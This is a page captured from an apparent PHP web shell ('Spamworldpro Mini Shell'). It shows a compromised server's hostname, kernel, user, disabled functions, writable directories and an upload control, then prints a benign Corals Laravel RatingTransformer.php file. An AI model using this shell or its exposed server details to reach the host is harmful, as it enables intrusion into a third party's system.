Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ledger.corals.io/Corals/modules/Utility/Transformers/API/Rating/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ledger.corals.io/Corals/modules/Utility/Transformers/API/Rating/RatingTransformer.php
<?php

namespace Corals\Modules\Utility\Transformers\API\Rating;

use Corals\Foundation\Transformers\APIBaseTransformer;
use Corals\Modules\Utility\Models\Rating\Rating;
use Corals\Modules\Utility\Transformers\API\Comment\CommentPresenter;

class RatingTransformer extends APIBaseTransformer
{
    /**
     * @param Rating $rating
     * @return array
     * @throws \Exception
     */
    public function transform(Rating $rating)
    {
        $transformedArray = [
            'id' => $rating->id,
            'rating' => $rating->rating,
            'title' => $rating->title,
            'body' => $rating->body,
            'reviewrateable_id' => $rating->reviewrateable_id,
            'reviewrateable_type' => $rating->reviewrateable ? class_basename($rating->reviewrateable_type) : null,
            'author_id' => $rating->author_id,
            'author' => $rating->author ? $rating->author->full_name : null,
            'status' => $rating->status,
            'comments' => (new CommentPresenter())->present($rating->comments)['data'],
            'created_at' => format_date($rating->created_at),
        ];

        return parent::transformResponse($transformedArray);
    }
}

Spamworldpro Mini